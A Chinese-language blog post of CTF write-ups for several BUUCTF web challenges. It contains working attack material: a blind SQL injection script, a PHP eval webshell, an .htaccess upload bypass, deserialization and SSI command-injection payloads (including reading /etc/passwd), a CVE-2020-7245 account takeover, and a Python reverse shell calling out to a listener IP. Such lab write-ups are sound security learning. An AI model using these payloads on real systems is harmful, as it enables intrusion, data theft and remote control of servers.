BUUCTF WEB(2020-4月刷題~)

BUUCTF WEB(2020-4月刷題~)

u1s1,最近一段時間真的不知道該幹啥了,不想學習,沉迷於MC無法自拔!!

[CISCN2019 總決賽 Day2 Web1]Easyweb

訪問頁面,發現是個登錄框,,,,查看一下源碼
存在一個image.php頁面,還有id號,懷疑存在sql注入
輸入啥都沒反應,,,,後面找到有個robots.txt:
在這裏插入圖片描述
下載index.php.bak無果,下載image.php.bak得到image.php的源碼:

<?php
include "config.php";

$id=isset($_GET["id"])?$_GET["id"]:"1";
$path=isset($_GET["path"])?$_GET["path"]:"";

$id=addslashes($id);
$path=addslashes($path);

$id=str_replace(array("\\0","%00","\\'","'"),"",$id);
$path=str_replace(array("\\0","%00","\\'","'"),"",$path);

$result=mysqli_query($con,"select * from images where id='{$id}' or path='{$path}'");
$row=mysqli_fetch_array($result,MYSQLI_ASSOC);

$path="./" . $row["path"];
header("Content-Type: image/jpeg");
readfile($path);

可以看見的是對我們的參數首先進行轉義,然後過濾單引號、\0、等,怪不得之前沒有效果
仔細看看,這並不妨礙我們進行sql注入
傳遞參數:

id=\\0'&path= or 1=1#
<?php

$id = "\\0";
$path = " or 1=1 #";

$id=addslashes($id);
$path=addslashes($path);

$id=str_replace(array("\\0","%00","\\'","'"),"",$id);
$path=str_replace(array("\\0","%00","\\'","'"),"",$path);

echo "select * from images where id='{$id}' or path='{$path}'";

得到結果:
select * from images where id='\' or path=' or 1=1 #'

這樣where條件就無用了,我們就能夠進行注入了,編寫腳本:

import requests
import sys
import string
import io
import time


sys.stdout = io.TextIOWrapper(sys.stdout.buffer,encoding='utf8')		#改變標準輸出的默認編碼,否則s.text不能輸出
flag = ""

url = "http://1ecf7701-7fa0-409e-8a5a-176be2cb62a3.node3.buuoj.cn/image.php?id=\\0&path= or ascii(substr((select password from users),%s,1)) < %s"

'''
r = requests.get(url)
if "JFIF" in r.text:
	print("Good!")
'''

for i in range(1,100):
	for j in range(1,126):
		urls = url%(str(i),str(j)) + " %23"
		r = requests.get(urls)
		if "JFIF" in r.text:
			flag += chr(j-1)
			print(flag)
			break
print(flag)

得到密碼:
在這裏插入圖片描述
admin登陸一下:
在這裏插入圖片描述
不能上傳php文件,換一個,得到一個鏈接,訪問得到:
在這裏插入圖片描述
可以看見我們的文件名記錄在了php文件中!
那我們可以把文件名改成php語句!!發現不行,估計過濾了php關鍵字
在這裏插入圖片描述
php語法不能用?不應該,使用短標籤<?=$_GET['cmd']; eval($_POST['cmd']); ?>
在這裏插入圖片描述
在這裏插入圖片描述
菜刀鏈接:
在這裏插入圖片描述

[安洵杯 2019]easy_serialize_php

反序列化字符逃逸,與之前的不同,這個是關鍵詞過濾,也就是變少,打開題目可以看見源碼

<?php

$function = @$_GET['f'];

function filter($img){
    $filter_arr = array('php','flag','php5','php4','fl1g');
    $filter = '/'.implode('|',$filter_arr).'/i';
    return preg_replace($filter,'',$img);
}


if($_SESSION){
    unset($_SESSION);
}

$_SESSION["user"] = 'guest';
$_SESSION['function'] = $function;

extract($_POST);

if(!$function){
    echo '<a href="index.php?f=highlight_file">source_code</a>';
}

if(!$_GET['img_path']){
    $_SESSION['img'] = base64_encode('guest_img.png');
}else{
    $_SESSION['img'] = sha1(base64_encode($_GET['img_path']));
}

$serialize_info = filter(serialize($_SESSION));

if($function == 'highlight_file'){
    highlight_file('index.php');
}else if($function == 'phpinfo'){
    eval('phpinfo();'); //maybe you can find something in here!
}else if($function == 'show_image'){
    $userinfo = unserialize($serialize_info);
    echo file_get_contents(base64_decode($userinfo['img']));
}

根據提示打開phpinfo可以看到flag文件名,應該就是讓我們文件讀取flag
我們可以看見最關鍵的就是img,所以我們需要控制這個img
可以看見有個extract($_POST);,所以我們可以構造一個新的session值

$_SESSION['flagphp']=';s:3:"333";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";}';

可以自己編寫一下代碼運行一下看看結果:

<?php
function filter($img){
    $filter_arr = array('php','flag','php5','php4','fl1g');
    $filter = '/'.implode('|',$filter_arr).'/i';
    return preg_replace($filter,'',$img);
}

$_SESSION['flagphp']=';s:3:"333";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";}';
$_SESSION['img'] = base64_encode('guest_img.png');

$serialize_info = filter(serialize($_SESSION));
echo $serialize_info."\n";

$b = unserialize($serialize_info);
echo $b['img'];

結果:
a:2:{s:7:"";s:50:";s:3:"333";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";}";s:3:"img";s:20:"Z3Vlc3RfaW1nLnBuZw==";}
ZDBnM19mMWFnLnBocA==

可以看見,我們得到的img是我們傳遞進去的,那就可以了,讀取一下,發現還有個文件,繼續讀取得到flag
最後獲取flag的payload:

get
f=show_image
post
_SESSION['flagphp']=;s:3:"333";s:3:"img";s:20:"L2QwZzNfZmxsbGxsbGFn";}

[GXYCTF2019]BabyUpload

一個上傳界面,嘗試上傳,發現不能上傳後綴名含有ph的文件:
在這裏插入圖片描述
嘗試上傳.htaccess,發現上傳成功
在這裏插入圖片描述
上傳圖片馬,爲了方便直接使用<script language=php>
在這裏插入圖片描述
直接readfile讀取文件:
在這裏插入圖片描述

[BJDCTF2020]EasySearch

掃描發現.swp文件,訪問之~,獲源碼:

<?php
	ob_start();
	function get_hash(){
		$chars = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789!@#$%^&*()+-';
		$random = $chars[mt_rand(0,73)].$chars[mt_rand(0,73)].$chars[mt_rand(0,73)].$chars[mt_rand(0,73)].$chars[mt_rand(0,73)];//Random 5 times
		$content = uniqid().$random;
		return sha1($content); 
	}
    header("Content-Type: text/html;charset=utf-8");
	***
    if(isset($_POST['username']) and $_POST['username'] != '' )
    {
        $admin = '6d0bc1';
        if ( $admin == substr(md5($_POST['password']),0,6)) {
            echo "<script>alert('[+] Welcome to manage system')</script>";
            $file_shtml = "public/".get_hash().".shtml";
            $shtml = fopen($file_shtml, "w") or die("Unable to open file!");
            $text = '
            ***
            ***
            <h1>Hello,'.$_POST['username'].'</h1>
            ***
			***';
            fwrite($shtml,$text);
            fclose($shtml);
            ***
			echo "[!] Header  error ...";
        } else {
            echo "<script>alert('[!] Failed')</script>";
            
    }else
    {
	***
    }
	***
?>

可以發現用戶名可以隨意填,只要密碼的md5前6位等於6d0bc1即可成功登陸
登錄之後會把用戶名填寫到一個隨機的shtml文件中~~
搜索一下shtml相關漏洞,找到了ssi注入,ok
先爆破密碼,這個應該比較簡單:

import hashlib

def getMd5(index):
	for i in range(10000,100000000):
		x = i
		md5 = hashlib.md5(str(x).encode("utf8")).hexdigest()
		if md5[0:6] == index:
			print(x)
			print(md5)
			return x;
			
getMd5("6d0bc1")

得到2020666,在用戶名處進行ssi注入:

直接執行服務器上的各種程序<#exec>(如CGI或其他可執行程序)
<!--#exec cmd="cat /etc/passwd"-->

把想要執行的命令寫好之後,訪問shtml文件:
在這裏插入圖片描述
payload:

<!--#exec cmd="ls ../"-->

在這裏插入圖片描述
訪問flag_990c66bf85a09c664f0b6741840499b2 獲得flag:
在這裏插入圖片描述

[V&N2020 公開賽]HappyCTFd

這道題就是一道CVE當初做的時候自己郵箱不起作用,直接放棄了,,,,
需要buu內網的郵箱,,,就當是復現一下CVE吧,,編號:CVE-2020-7245
看原理:CVE-2020-7245用戶接管
打開題目,先註冊一個用戶,根據原理註冊admin,admin前面有個空格,
然後去註冊一個郵箱:[email protected],,,
在這裏插入圖片描述
然後退出,在登錄頁面點擊重置密碼~~,輸入郵箱:
在這裏插入圖片描述
收到郵箱就可以更改密碼了,不過注意登錄之前要先把直接註冊的賬號的用戶名給改了
之後admin修改的密碼直接進去,找到flag:
在這裏插入圖片描述
下載文件得到flag~~

[V&N2020 公開賽]CHECKIN

打開得到源碼:

from flask import Flask, request
import os
app = Flask(__name__)

flag_file = open("flag.txt", "r")
# flag = flag_file.read()
# flag_file.close()
#
# @app.route('/flag')
# def flag():
#     return flag
## want flag? naive!

# You will never find the thing you want:) I think
@app.route('/shell')
def shell():
    os.system("rm -f flag.txt")
    exec_cmd = request.args.get('c')
    os.system(exec_cmd)
    return "1"

@app.route('/')
def source():
    return open("app.py","r").read()

if __name__ == "__main__":
    app.run(host='0.0.0.0')

可以看見我們可以執行命令,不過在我們執行命令之前我們的flag文件被刪除了
而且我們執行命令之後也沒有回顯,就先嚐試一下反彈shell,由於這裏是python,所以就是用python一句話反彈shell:

python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("174.0.130.25",1234));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'

傳入之後,在自己機器(buu的內網機器)上用nc監聽,成功的到shell,不過發現我們沒有讀取的權限,,
這裏就要引入一個新的知識點:

在 linux 系統中如果一個程序打開了一個文件沒有關閉,即便從外部刪除之後,在 /proc 這個進程的 pid 目錄下的 fd 文件描述符目錄下還是會有這個文件的 fd,通過這個我們即可得到被刪除文件的內容。

由於上面打開了flag文件,但是卻沒有關閉,所以我們可以在 /proc 這個進程的 pid 目錄下的 fd 文件描述符目錄下讀取到文件,使用命令:

cat /proc/*/fd/*

得到flag:
在這裏插入圖片描述

發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章